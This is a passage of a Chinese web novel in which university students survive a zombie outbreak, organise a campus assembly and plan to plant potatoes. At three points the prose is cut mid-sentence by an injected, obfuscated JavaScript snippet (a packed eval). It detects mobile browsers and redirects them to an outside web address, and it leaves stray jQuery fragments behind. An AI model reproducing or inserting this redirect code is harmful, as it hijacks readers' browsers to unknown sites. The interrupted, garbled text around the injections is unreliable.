丧尸对自己违背生理学扭曲的四肢似乎也缺乏掌控力，两只粗壮的手臂被孟和隔着外套生生扭在背后，缠在一起。朱妙妙和终于智商在线了的阮青舒分别拽住丧尸的两条腿，终于把它从姜杞身上扒拉了下来！ 无视掉一旁鲤鱼打滚般不断挣扎的丧尸，刚死里逃生的姜杞气都不敢喘一下，着急忙慌地掏出自己间歇响铃的手机，把闹钟关上。 “我早上的闹钟，我的锅。” 正是这个因为她的手机突然响铃，那个原本看着毫无危险四处游荡的丧尸才会突然过来攻击她们。 这句话让孟和忍无可忍：“大姐，你家早起的闹钟定在十点！” 但凡闹钟早个几小时，她们也不至于太阳晒屁股了才睁开眼，接到隔离完毕的消息后都不敢大白天带着物资横穿校园。四个人又实在想回宿舍看看，这才只带武器闯了回来。 姜杞唯唯诺诺地反击：“定在十点怎么了？这可是周末，你敢说你周末不都是睡到十一点。 两人不停地斗嘴，朱妙妙和阮青舒也懒得劝架。这一路也就碰见了一个丧尸，又刚解决掉，她们下意识感觉已经安全。 “后面！后面还有！” 四个人正相互拉扯着站起来，宿舍楼后忽然跑出来一个披着棉被的奇怪身影，边跑还边急促的喊叫！ 姜杞等人顺着她指的方向看过去，一个、两个……似乎是刚才的打斗声过于激烈，这一片所有隐藏的丧尸都向这边来！刚才还需要人拉扯的姜杞瞬间爬的比狗都快，连孟和都被她拽着跑出了残影，四个人玩命疯跑，还狰狞着朝那个女生打招呼让她不要过来。 林卓敏竟然真的犹豫地停了下来，还往回跑了两步。她停在那里冲着拐歪处大喊：“姐妹们冲啊！就六个丧尸，我们打得过！” 随着她的一声招呼，越来越多披着棉被的女生从转弯处跑了出来。 她们身上也没什么装备，大多抱着自己最厚的棉被就冲下来救人了，有的两个人齐力拽着一床棉被，有人身上背着厚厚的书包，手里拿着扫帚。她们穿过目瞪口呆的四人，叫喊着朝那几个扭曲爬行的丧尸冲了过去。 15. 我呸！果然没救援 林卓敏裹着棉被冲在最前面，一边以一往无前的气势呐喊，一边忍不住地回头看大家有没有跟上来。 只是脚步稍微一慢，身后奔涌的人流就转瞬将她淹没。 “弄死它们！不是它们死就是我们死！” “抱起来！两个人抱一床被子！不要在地上拖拉，会被别人踩到！” “两个人分别扯着被子角把被子张开！像撒网那样，把丧尸盖在被子底下，其他人就赶紧压在被子上摁住丧尸！注意保护好自己千万别受伤！” 已经对付过丧尸的学姐高声向周围的同学们传授经验，指挥的声音此起彼伏，还有相识的小姐妹临时结盟凑在一起。“咱们去那边，绕过绿化带，从丧尸后面冲过去。” “谁踩我被子啊！” 方才躲在阳台上观望的并不止林卓敏她们一个宿舍。丧尸爆发的时候正值中午，不少人嫌热懒得出门，幸运地躲过了一劫。 被分割成一个个小小空间的封闭高楼里，丧尸与人类并存。格子般的宿舍庇护着幸存者，也使恐惧焦躁在狭小的空间中不断发酵蔓延。墙后的撞击、宿舍中的空铺，所有人绷紧了神经，在这样的环境下，任何一点动静都可能会成为理智破碎的起点。 当林卓敏第一个冲出宿舍，在走廊里高喊“姐妹们抱着被子下去救人”后，一个接一个的宿舍门被踢开，恐惧怯弱不甘愤恨等压在心底的种种情绪喷涌而出。 无畏的气势在奔涌的人流间互相感染，如火焰般高涨起来，正如当初恐惧的无声蔓延。 她们不只是在救人，也是在冲破束缚自己的黑暗。 不知过了多久，江心站在宿舍门口，身边还不断有宿舍门被打开，一个个抱着被子的女生像落队的小仓鼠般陆陆续续跑出来。 “你们现在下去还来得及干嘛？”江心毫不客气地阴阳道，着急救人的早八百年就跑了下去。她是从来没打算过下去救人，但也不会装着善良的模样惺惺作态。 小跑的女生闻声停了下来，眨巴着清澈的眼睛看过来，厚厚的眼镜片折射出求知的光芒：“不知道啊。姐妹你知道怎么怎么回事吗？我们宿舍就我自己了，听见大家都出来我也出来看看。” “对对我也是！”一个抱着被子慢悠悠走在后面的女生也凑了过来，连连点头：“为什么都跑下去了？还有大家怎么都抱着被子？我都排上电梯的队了，看大家都抱着被子，又赶紧回宿舍拿的。” 江心：…… 好心人科普道：“你们没看群公告啊，几人合伙扯着棉被把丧尸的头和胳膊蒙上，这样丧尸的牙和指甲就都没法伤人了！实在不行还可以打个滚把自己裹上，丧尸也没法咬到。” “什么群？” “所以为什么下楼啊？” “你们听见刚刚走廊里喊的那一声了吗？救人？” 一个女生坚定地摇头：“我听着是救援。肯定是国家来救我们了！” 江心捂住心口，觉得自己有点喘不上气来。她着急忙慌地把几个手无寸铁就要下楼迎接救援的同学拦下来，正要解释情况，楼下忽然传来几声叫喊。 “下来，大家都下楼吧！” “看群消息，楼下已经没丧尸了！快下来！” 此起彼伏的呼喊从楼下传来，走廊里的人惊喜地蹦起来，手拉着手欢呼雀跃，连江心都不可置信地掏出手机翻看着消息。 “我就知道是救援来了！” “快走，我回去喊我舍友，真的是救援来了！” 十分钟后，几乎所有的幸存者都来到了排球场上，所有人盘膝而坐，围在一起。粉的黄的各色被子被顺手搭在周围的排球网上，小姐妹们互相招呼着认识的人坐在一起，甚至还有一袋香瓜子被来回传递。 “同学们。”人群中央的许尧清了清沙哑的嗓子，A4纸卷成话筒放在嘴边：“没有救援，也等不来救援了。” 细碎的议论声戛然而止，几个正在嗑瓜子的男孩子女孩子瞠目结舌地看向他。 他举起手臂攥紧拳头，清瘦的面容充满坚定信念：“我们要自己救自己！” “我呸！”江心缩在人群最后，泪流满面：“我就说网上怎么一点消息都没有，果然根本没人来救我们。” 排球场位于校园的边缘，背靠青山，向东是葱郁灌丛，向西可见高楼错落林立，高架桥盘旋其间。钢铁水泥还支撑着这个城市最基本的面貌，但往日密密麻麻的人流早已不见，倒在地上的尸体被啃食的只剩挂着血丝的白骨，路边的绿化带因为没有及时灌溉而在烈日下耷拉着叶片。 “外面已经全部沦陷了。”许尧的嗓音缓慢而沉稳，“网络上的消息大家都看到了，昨日上午，丧尸病毒在全球范围内突然爆发，各大城市均已沦陷。我们现在还能聚在阳光底下，一半要归结于学校相对封闭且人少的好运气。” 他缓缓指向山下的方向：“走出这个学校半步，就是尸横遍野、人间炼狱。” 一个精瘦男生从人群中站了出来，宽大的西装外套在他身上显得有些滑稽，他在许尧的示意下走到中间来，解开手腕上缠绕的绷带。 一道微微渗血的口子露出来，肉眼几乎难以发现。绷带还在往下落，血色逐渐殷出来，模糊的血肉与棉绷带粘连，几乎长在了一起。他忍着痛，没有勉强将绷带与血肉剥离，但也能清楚看到伤口边缘清晰的牙印。 那是被丧尸生生咬下一块肉的痕迹。 阮青舒盯着那件宽大的西装，颤声道：“是他，是我们昨天碰见的那个学长。” 她看向自己完好的身体，命运好像向大家开了个玩笑，让她们有惊无险回到东区后，再重映了故事的另一种可能。世界转折之际，大家从相同的起点出发，像弹丸般四散开来划出截然不同的痕迹。 她们平安返回东区简直是一个奇迹，就像是，就像是久衰之后幸运女神弥补的歉意。 幸存只是偶然，悲惨才是常态。 姜杞也记得他，候源林，那个在火锅店里第一个冲向丧尸的人。她看向候源林的周围，那个蛮凶狠的黑胖男生也在，坐在那几乎要比一个站着的女生差不多高。那个想保研的学姐就坐在黑胖男生身边，她甚至还抱着那个笔记本！还有，还有……姜杞一愣。 她没看见那个“骗保”的女孩。 许尧：“这位同学的伤势由丧尸撕咬造成，伤口处与丧尸唾液、血液皆进行过充分的接触，现在距受伤已经超过了十二小时，除低烧、炎症外，没有任何变异成丧尸的迹象。这种情况并不是少数，昨日被丧尸咬伤的老师同学共计42位，其中24位在两个小时内变异成丧尸，十八名同学伤口不能愈合，但神志完全清醒，机体功能正常，目前仍在接受治疗。” “这不是好事吗？”李穗不解道：“被丧尸咬了也不一定真的会变成丧尸。” “这都世界末日了，说不定还会进化出异能呢！”几个同学摩拳擦掌，蠢蠢欲动。 姜杞盯着那只血肉模糊的手臂，忍不住地思索。被丧尸咬到的伤口不能愈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203023|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合，被咬到也不一定会异变成丧尸，那丧尸传播的条件到底是什么？ 忽然，她脑海中闪现过一个恐怖的可能性！ 她缓缓看向许尧，许尧看着大家。 “除此之外，昨天上午十一点半到一点半期间，曾出现数例身上毫无伤口但突然变异的情况。” ！ 轻飘飘的话语如倒进油锅的滚水，人群倏地炸开了锅，所有人都瞬间反应过来这个现象所代表的含义。 丧尸异变似乎没有筛选条件，即使是没有受伤的人，也有突然异变的风险。 许尧平静地站在混乱的人群中央，就像他第一次面对丧尸的时候，代表着安全的宿舍楼就在身后，无数尖叫着的人疯般从他身侧跑过，他就这样平静地看着这场混乱，视线穿过人流间分分合合的缝隙，盯着队伍最后那些个满身血污的扭曲身影，想看清这场苦难。 最后他拎起宿舍门前的一个花盆，倒掉里面的土，大吼一声，逆着人流冲了上去。 他想死，却活了下来。 最开始一切都乱糟糟的，尖叫杂着哭喊，视线里全是乱跑的人，后来视线里只剩大片大片红色的色块。 手里的花盆被丧尸坚硬的脑袋磕碰掉一块，他与另一个同学相互支撑着勉强站立，神经还在紧绷，没人敢把武器放下来。 两个人身上被血浸湿，大口喘着粗气。许尧感觉怀中的人越来越重，还不断去拽自己的衣服，他试图将人扶住，最终还是看着人跌落在血泊里。 他下意识腾出双手去搀扶那个同学，于是那个黏糊糊的花盆最终还是从手心滑落，打着圈滚了出去。他看着花盆七扭八歪的绕过一个个尸体，沾着血划出一道道圈，最终扣在一个女孩残缺的脸上。 那是一个个想活，却死掉的人。 —— “那我们还活个p啊，没被咬过都有可能突然变成丧尸，大家收拾收拾集体Z杀得了！” “也不一定吧？不是说了只有上午十一点半到一点半出现过这种情况吗？说不定丧尸异变就是一次筛选，基因优良的人不会变异，活下来的都是天命之子！” “就是！我敢肯定，咱们这些活下来的人迟早能觉醒异能！” 李穗对“异能”这个话题格外产生了浓厚的兴趣，拽着阮青舒的袖子擦擦眼泪就过去跟着大家讨论了起来。被吓傻了的阮青舒难得没跟李穗计较，抱着膝盖挤在姜杞和朱妙妙之间，一身热汗也不愿意分开。 “说这些并不是为了打击大家，也不是完全否定救援不可能到来。”许尧平静地站在那里，听见自己激情澎湃地振臂高呼：“只是国家已经到了危急存亡的时刻，全世界都自顾不暇，只一味的缩在校园里等待救援是万万不行的！” 李穗结结巴巴地问：“所以要我们冲出校园去救别人吗？” “……”两个割裂的灵魂又回到了一起，许尧低头看了她一眼，认真道：“那倒也不必。” “学校大门和地势低的栏杆已经被我们用铁皮围了起来，基本能保证大家的人身安全。从六餐搜出来的米面只有十几袋，我们必须要在这些粮食吃完之前，实现东区的自给自足，实现可持续发展，才有可能坚持到救援的到来！” “他到底想说什么啊？”李穗崩溃地靠在阮青舒身上。她完全听不懂，什么可持续发展？研究继风力发电、太阳能发电后，丧尸环保发电的可能性吗？ 许尧假装没听见的样子，平静的说道：“我是说，我们必须开始种地了。” 16. 全校幸存者代表大会 第一次会议 确定了要长期生活，共克时艰后，大家一致认为有必要做自我介绍互相认识一下。挖掘大家的特殊技能，方便后续校园民生建设的工作安排。 许尧带人去巡逻后，姜杞固执的将一把赶海的铲子和热心人贡献出来的小铁锤交叉摆放在人群中间，并将此次交流称之为本校第一次真正的、彻底的民主会议，大家的未来将在苏/维埃的光辉照耀下走的更长更远！ 如果不是阮青舒给了她一巴掌，她几乎要跑去把团/委办公室里那位已经变成丧尸的书/记放出来。 虽然校规校训抽查考试很恶心，早晚自习、空堂自习、晨跑、校园跑几乎占用了她们所有的空闲时间，每日不定时查房也闹得她们除熄灯外没一刻能真正放松起来……阮青舒停止了这自我折磨般的胡思乱想，够了，她明白姜杞为什么这么颠了。 “大家好，我是法院的朱妙妙。我会钩针编织，这是我自己钩的发圈、发卡。”朱妙妙拿着手机向大家展示手机里的照片。 “哇！”前排的女孩子眼中闪着亮光，温柔地鼓起掌来。一旁的男生扭头看了看，也下意识地拍了两声，排球场最终上响起热烈的掌声。 “我舍友不但会钩针编织，还能补衣服！”姜杞举起手来，大喊：“我们宿舍裤子改腰、缝扣子、无痕补玩具都是找她！” 阮青舒站起来转了个圈，脸不红心不跳地向大家展示自己身上的外套：“家人们看一看！大家都知道我们是昨天从尸潮里闯出来的，这就是我昨天穿过的外套，原来已经破的不能穿了。经过我舍友昨晚的妙手回春，现在已经完全看不出修补的痕迹了！” 李穗茫然，但激动地带头叫好，还凑到姜杞耳边嘀咕：“她昨天穿这衣服了？” 姜杞把人推开：“去，不该问的别问。” “朱妙妙。”张梦娴将这个名字录入刚建好的表格里，有些生疏地向朱妙妙表达肯定：“缝纫是非常实用的技能。” 作为在场唯一带了笔记本的老学姐，丧尸暴发后陷入病态般沉默的张梦娴被动承担起了主持大局的工作，并打开那个不知道砸过多少丧尸的笔记本勤勤恳恳地记录内容、统计数据。 “下一位。” “大家好，我是商院的郝好。”白净的男孩子腼腆地笑了笑：“棉被围攻丧尸法就是我发明的。” “好！”“哥们牛逼！”一堆男生兴奋地捶胸叫唤。 “我叫陈佳宁，我赶海特别厉害！如果能找到一辆车，我们就可以趁夜里开车去海边！这个季节蛏子特别多，还能挖到月亮贝，下雨还有退大潮的时候肠还可能捡到被风吹到岸上的海肠，一捡一大桶！” “我是商院的，我会开自动挡嘿嘿。” 认识会如火如荼地进行着，上百人轮流热情地介绍自己，积极展示自己在末世中的价值，能为大家带来什么。人们不约而同地压住藏在内心最深处不断翻涌的焦虑与不安，像是每个人都天生乐观。 还未进行自我介绍的已经没几个人了，一个女生看了看周围，最后深呼吸了两下，终于站了起来。 “我叫毛恨竹，法院，大家好。我其实没什么特长……做过最特别的事情，就是一个月减重14斤，两个月一共瘦了20斤，并保持到了现在。” 人群一片哗然！女生都知道这句话的含金量。姜杞、李穗两个在减肥事业上屡战屡败的人膜拜地看向这个女孩。两个月减重二十斤，肯定是节食了，得是多强大的信念，多么坚定的意志力才能克服生理欲望坚持下来。 狠人，绝对的狠人！ 况且，她瘦弱的胳膊上露出的点点淤青和各种划痕，可见绝非是只靠苟在宿舍才活到的现在。这人竟然能在长期节食的情况下，以一副羸弱的身躯在满是丧尸追赶的校园里活了下来。 狠人，狠人中的狠人！ 毛恨竹揪着自己的衣角，尚不知自己已经被打上“狠人”的标签。像是被人们的热烈反应鼓励到，她近乎惨白的面容上出先一抹淡淡的红晕。“我还很擅长跟小动物打交道，学校里每只流浪猫都认识我。我还在宿舍里养了好几条小金鱼！我还会做饭，宿舍里就有小电锅，每天都自己做饭。” 她的声音越来越小，说道“做饭”时几乎要听不清，但被坐在她旁边的张梦娴敏锐的捕捉到。 “你还会做饭？” 张梦娴很负责的追问。她学的就是统计，学校里剩余物资的统筹数据就是她昨晚连夜做出来的，很清楚超市的面包饼干这种速食撑不了几天，现在急需挖掘能做大锅饭的人才。 毛恨竹沉默片刻，不确定地点了点头。 “等等。”姜杞想到她两个月减重20斤的惊人履历，不放心地追问了一句：“姐妹，你擅长做什么饭？” 毛恨竹挤出一个比苦还难看的笑来。 “白人饭。” 姜杞竖起大拇指：“人才都是培养出来的。姐妹，我看你亲近小动物的体质就非常值得培养，一定能为学校日后的养殖业发展做出自己的贡献。” 毛恨竹带着那张比苦哭还难看的笑脸回到自己的位置上，一个微胖的白净男生慢悠悠地站了起来。 “我叫丁宁，商院的。” “我这个人从小就什么都做不好，大家都说这个学校就是个破二本。可就算是这个破二本，都是家里花了十来万让我上一对一，好不容易才考进来的。”他挠挠头，不好意思地补充道：“还是中外合资的专业。” “这两年我也是什么都没学什么没干，不是蹲在宿舍打游戏就是出去玩，反正下学期交换到俄罗斯也就是换个地方继续玩。废了那么多年，现在让我想自己会什么，擅长什么，我是真想不出来。” 他白净的圆脸做出乐呵的模样，嘴角上扬，脸上的肌肉却不少控制般耷拉下来。 “以前说自己除了有钱一无是处，那是凡尔赛。” “现在那真是……” “哥们，咱俩殊途同归吧。”人群中忽然又响起一个自嘲的声音：“你是没兴趣，我家是真没那个闲钱。除了学习，哪怕是想帮着干点家务活都被当成添乱。到现在都是除了学习啥也不会干，以后估计也只能给大家添麻烦。” “什么都不会怎么了，有手有脚，总能养活自己。”张梦娴几乎是脱口而出，一种报复般的爽感如温水般从她心底涌了出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203024|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她像是被自己的话惊到，缓了好一会才看着刚刚出声自嘲的那个人，看着所有人继续道：“大家都是差不多的分数，考到了同一个学校来，都是差不多的智商，现在也是差不多的处境。只要有心帮忙做事，就不存在谁比谁笨，谁给谁添麻烦。” 上大学后她才发现自己什么都不会，不会做PPT，不知道什么是word、Excel。实习的时候仿佛又陷入什么规则怪谈，她必须要掌握那些从来没有人教过她的东西，每天坐在工位上假装自己很忙，其实自己的实际水平早就被人一眼看穿。 “什么事情非得通知了，你才会去做” “真不敢相信你在读大学，现在大学真是什么人都能进了” 被这样说得多了，她仿佛就真成为了别人口中那个一无是处，只会添乱的家伙。 实习的时候不受人待见，回到学校也好不到哪去，家里只知道催着考公考编。 后来，后来怎么就延毕了？ 张梦娴缓缓抱紧那个存着她毕业论文的笔记本，仿佛灵魂被末日割裂成两半，一部分的她永远被留在了那个糟糕的夏天。 她心底还是不认为糟糕的生活全是因为自己的不争气，她总应该存在一些闪光点吧？况且，况且……没有闪光点的人就必须窝囊地活着吗？ 她无数次幻想着能有一个人从天而降拯救自己濒临破碎的人生，能告诉她：考不上好大学也可以，考不上公务员也没关系，爱意可以没有附加条件。 不是一味的否定她的价值，而是告诉她，没有价值也可以。活着其实是一件很简单的事，不需要一定活得很牛逼，没有价值的人也可以被爱。 她没有等来那样一个人。 她要自己成为那样的人。 人群像是被打开了什么开关，不少人七嘴八舌地议论起来。 “其实我也没什么有用的技能，不过我吸烟，还经常丢东西，估计宿舍里能找出来很多打火机，在末世应该迟早能用到吧？” “害，还有我。我压根不是你们学校的，就是兼职送外卖的时候被丧尸追着跑到了这附近，那时候你们的同学刚用铁皮把大门围上堵死，大家都是好人，心软在铁皮底下开了个小洞，还帮我引走丧尸让我趁机爬了进来。感谢，感谢各位。” “我也差不多。我是主校区英语专业的，想着毕业前把学校所有的食堂吃一遍，昨天才跑到东区这里来，没想到刚下公交车就跟丧尸撞了个面对面。”一个衰像的男生站了出来，苦笑着诉说着自己的经历。 烈日下，上百人追随着树荫不断转换着阵地，所谓的会议还在闹哄哄地继续，气氛不知不觉轻松起来，大家破罐子破摔的诉说着自己末日来临后的悲惨遭遇。 因便秘在教学楼厕所蹲了一上午，出来时正好碰上丧尸异变高潮；从宿舍里赶去给困在教学楼厕所的舍友送卫生纸，从最安全的宿舍来到已经爆发丧尸的教学楼；辛辛苦苦复习一个月，每天两眼一睁就是学，结果刚交上一张完美答卷任课老师就被丧尸啃了…… 最后，不知是谁轻轻地说了一声。 “其实吧，这世道，能活到现在就已经很厉害了。” 17. 种土豆 中午的午饭是在六餐吃的，一群人到底没研究出来怎么用食堂的高科技厨具蒸米饭，最后是个在麻辣烫档口兼职过的女生回到了自己曾经工作的档口，借用煮麻辣烫的大铁桶煮了一锅面条，一百多个人凑活着吃了起来。 这一顿几乎就用掉了麻辣烫档口的所有存货。 校园里的物资看起来多，可平均到每个人身上，数据就很触目惊心了。 许是从来没有做过大锅饭的缘故，两锅面条一锅夹生一锅稀烂。被困在宿舍一天一夜还没有存货的同学自然吃的狼吞虎咽，也有不小一部分同学明显没什么胃口，但也不动声色地慢慢吃起来。 许尧将所有人的反应都看在眼里，盘算着如果食堂真的断粮，这些宿舍里有囤货的同学大概也还能撑上几天。 【10月20日买了一袋5kg的大米，两个人吃到今天11月17日终于吃完了】 【一个女孩子，三个多月能吃完10kg的大米】 网络上的信息过于纷杂，他不断翻看着小红薯上的帖子，试图从只言片语中估算他想要的数据。 “姑且就算一个人一月吃3kg米，现在群里一共有177人，一个月就要吃531斤米。” “昨天在六餐发现了七百多斤大米。”他看了眼那些食不下咽的同学：“省着点吃的话，大概还能撑两个月。” “现在是七月十号，两个月后就是九月十号。”人群中响起一个恍惚的声音：“就是说，其实我们连冬天都撑不到。” “而且人不能光吃大米吧？”一个瘦高的女生举手发言：“碳水、维生素、蛋白质，维持人体基本健康缺一不可。食堂能屯大米，总不能屯蔬菜吧？我在韩餐后厨做过兼职，基本是几天送一次货，青菜更是每天现送。” 餐厅里确实只有当天的蔬菜，甚至一些绿叶菜在没放进冰箱的情况下已经蔫吧了。许尧在笔记本上记录下来：“那就把蔬菜问题提到前面，第二个就解决这个问题。” “其实现在还好，起码遍地都是绿叶子，总能找到野菜吧。”李穗回忆起她太奶，小老太太总是天一亮就垮着个竹篮子不知道跑哪个山上去，回来的时候篮子就装满了各种她不认识的野菜，面一伸一拽，几条宽面落入热气腾腾的滚水中，野菜也在沸水中滚一遍，面汤也染上浓浓的绿意。 再用豆豉、辣子调一碗红彤彤的蘸水，就是她老家的野菜蘸水面。 “等到秋冬，连点绿色都找不着了，到时候连维生素都没地补充去了。”李穗托腮叹息，突然又想到了什么似的抬头皮笑肉不笑：“差点忘了，那时候连最基本的碳水都吃完了，饭都没得吃了，还操心什么维生素的事。” “冬天也不是没有一点野草野菜，宿舍楼前那片草地在雪天也能挖到荠菜。”姜杞随口提起，似乎并未意识到有何不妥。 阮青舒不动声色地和朱妙妙对视了一眼，连向来迟钝的李穗都缓缓低下头，抿着嘴默默扣草皮。 “现在放在首位的还是粮食问题。两个月后我们怎么才能吃饱。”许尧在米面上画了一个圈：“北方是春小麦、秋小麦两季，现在我们手中也没有种子，也不是种植的季节。” 上百人你看看我我看看你，即使心中有想法，也是悄悄地先在宿舍小群里商量着。 也许是长期节食把自己的胃饿小了，毛恨竹吃的很慢，慢到夹生的面条都已经逐渐坨掉，筷子一夹就断。最后，两只瘦的几乎只剩骨头的胳膊认真的捧起碗来，碎面条杂着黏糊糊的面汤扒拉进嘴里，小口小口，竟也全都喝完了。 她放下碗，看了看周围一声不吭的人群。沉默的时光总是显得格外漫长，似乎过了很久，毛恨竹举起手来：“土豆淀粉含量也很高，我们可以种土豆。” 颤抖的声音不是害怕、怯弱，而是陌生。 她并不适应被注视，但上次被注视时感觉还不错，所以她愿意再尝试一次。 所有人都向这边看过来，零星响起几个附和的声音：“对啊！土豆当主食也很顶饱，减脂期我们都这样吃。” 几乎没有一个女生能逃脱减肥这个永恒的命题。 “还有地瓜，我看那些老电视剧里都是把地瓜当粮食，我家以前还有个专门放地瓜的地窖！” “地瓜叶子也能吃！叶子裹面粉蒸了蘸蒜泥，梗也可以清炒当菜吃。” 大家纷纷掏出手机查看土豆地瓜的生长期。地瓜的最佳种植时间好像是四到五月，生长周期长达四个月。但是有的资料上说土豆四季都可以种植，现在正好处于夏播的尾巴，5到7月播种，10到12月就可以收获。 如果现在播种，差不多正好赶上断粮的时间。 “种小麦要种子，种土豆就不用种子了吗？”这个扫兴的声音在一众欢呼显得格外刺耳，说不清是阴阳怪气还是自暴自弃：“就我们这群大学生真的能种出来东西吗？那些祖祖辈辈种地的人还要看天吃饭，求风调雨顺才能有口饭吃。而且外面全都是那些吃人的丧尸，不知道什么时候就会冲进学校里来吧？我们，我们真的能活到那个时候吗？” 从上午大家聚在一起，一直到现在，这几乎是唯一一句发泄负面情绪的话语。 话音未落，一个女生就循着声音拨开人群大步冲了上去，对准那个男生的后脑勺狠狠地打了下去：“就你话多！就你话多！！就你话多！” “董明睿，老娘能不能活到那个时候说不定，你再扫兴一句我就保证你活不到那个时候！” 李穗等人暗自叫好，并默默收回正准备暗中踹人的脚。 “姐，姐！”董明睿被打得嗷嗷乱叫，五官乱飞，手足无措的在亲姐姐手底下胡乱挣扎。压抑了一天一夜的董明昧哪里听得进去，几个响亮的巴掌下去，很难说不是在趁机发泄情绪。 “不好意思哈，我弟弟嘴欠，我自己教育。”董明昧一手拎着嗷嗷乱叫的亲弟弟，一边转头面对大家露出真诚的微笑：“暴力是不对的，大家不要向我学习。即使末日也要遵守规则纪律。” 她还不忘向毛恨竹投向歉意的目光：“种土豆肯定是比种小麦现实，支持，我支持。” 明事理的姐姐和嘴臭丧气的弟弟在大庭广众下上演着大家喜闻乐见的好戏。大家又恢复了积极团结的氛围，食堂中洋溢着人们对熊孩子被制裁的满意。姜杞也混在人群中间笑了两声，笑着笑着，忽然觉得有些诡异。 那个董明睿，其实也没说什么过分的话吧。 身处末世，怎么可能连句牢骚都没有。与其说他是对毛恨竹阴阳怪气，不如说是对未来的生活自暴自弃。 大家因为末世的巨大压力聚在一起，恶劣环境将这个小型社会的部分情绪压得几乎毫无踪迹，又无限放大另一部分情绪。多数人已经感受过丧尸、秩序失衡以及被困宿舍无人救援的恐怖，所以情不自禁地想将自己融入集体，下意识排斥任何可能导致分裂的行为。 这种压力模式下，几乎不允许出现其他的声音，没有人承担得起离群索居的代价。 姜杞再看向那对姐弟，董明昧在大家认同的目光中继续给了弟弟后脑勺两巴掌，董明睿挣扎的身影在众多看好戏的目光中显得狼狈至极，他只抿着嘴抱着头，似乎想走，却又不敢走出去。 她忽然觉得心缺了一块。 这个糟糕的世界。 姜杞还在恍惚寻找着自己缺失的灵魂，一旁忽然响起毛恨竹颤抖的声音：“夕夕买菜的那个驿站里还有我买的三斤土豆！已经好几天了，快放假了吃不完，我也不知道该怎么办，一直拖着没去拿！” “我也想起来了！餐厅后厨就有一大盆已经切成块的土豆。”一个人激动地站起来，朝后厨的方向跑过去。 那盆土豆已经清洗干净切成了快，大概是备菜后没用上，泡在水里留到了现在。不幸中的万幸是土豆没去皮，六餐饭菜简陋瓜果不去皮鸡蛋能吃出壳是出了名的，素来饱受诟病。万事阴差阳错，谁也没想到有一天还会为此感到庆幸。 生命的及格线上，绝望和希望反复跳跃。 这一大盆土豆被当成宝贝珍重地供起来，毛恨竹在几个同学的簇拥下去校内夕夕买菜的那个驿站取快递，还有十来个兴奋地同学立刻回宿舍翻腾工具，发誓要今天就把耕种的地翻出来。 人们像是被打通了任通二脉，仔细翻找着食堂仅剩的一点新鲜蔬菜，看看还有什么能当种子培育起来。 姜杞不动声色地从人群中退出来。 宿舍里有赶海用的铲子，也许能用来开荒耕地，她要去找出来。 学校的大坡将人的影子拉得很长，姜杞抬手挡住阳光，低头踩着自己的影子。慢慢的，几个头的影子从她脚边冒出来，并逐渐拉长。她停下脚步，直到四个影子头脚都凑到一块。 “你们怎么也出来了？”她闷声问。 阮青舒想了想：“让那些学长学姐规划学校未来去吧，我们几个被疫情困了一冬天，对学校啥都不了解的大一凑什么热闹。”她在“困了一冬天”这几个字上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203025|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加重了语气，显得有些阴阳怪气。不过她老阴阳人了，姜杞丝毫没有在意。 李穗素来是指哪打哪，让做事绝不问为啥，除非自己想挑刺。她嬉皮笑脸地踩着其他几人的影子，也不在意这是要去哪。 “我们不跟出来，你连宿舍门都进不去。”整个宿舍只有朱妙妙绝对记得带钥匙，她带着影子躲开李穗的脚，本就无语的脸上又多了几分复杂。 姜杞最终找到了那把铲子，铲子是赶海的时候挖蛏子用的，有些小，开荒有些勉强，但在一群或者纯手动或者铁勺子挖土的人中已经是鹤立鸡群，四个人拎着小铁锨小铲子，根据微信群的消息小跑着来到教师教育学院教学楼后面的那块荒地。 这是一块盆地？南面是教学楼后背，西边是废弃宿舍楼，东北两面都是山崖，姜杞她们的宿舍楼就在北面的山崖上。 这里很大，大概有两亩地。四面都被包围也很隐蔽，荒草丛生，杂树环绕。平时上学的时候很少有人注意这里。 “你怎么知道是两亩？”李穗挑眉。 阮青舒用看傻子的眼神看了她一眼，施舍般指了指门口挂着的告示牌。 【农园种植基地：占地约两亩……闲人免进】 “这里都废弃好多年了，直到去年学校才松口批给了农院，准备在这里建大棚，修种植基地。”李佳宁搬开一块碎石，擦了把脸上的汗：“丧尸要是晚爆发一年，温室大棚什么的就全建起来了。农院有个小番茄老师一直嫌主校区后山地方小，到时候肯定会搬过来，小番茄一排排一串串红彤彤圆滚滚！还有老师专门培育食用菌菇，不过没法长在阳光房里。但是有好多研究生都栽培无土生菜，主区的大棚里就绿莹莹的从地面种到天花板！到时候咱把玻璃房门一反锁，守着整个大棚的菜吃都吃不完。” 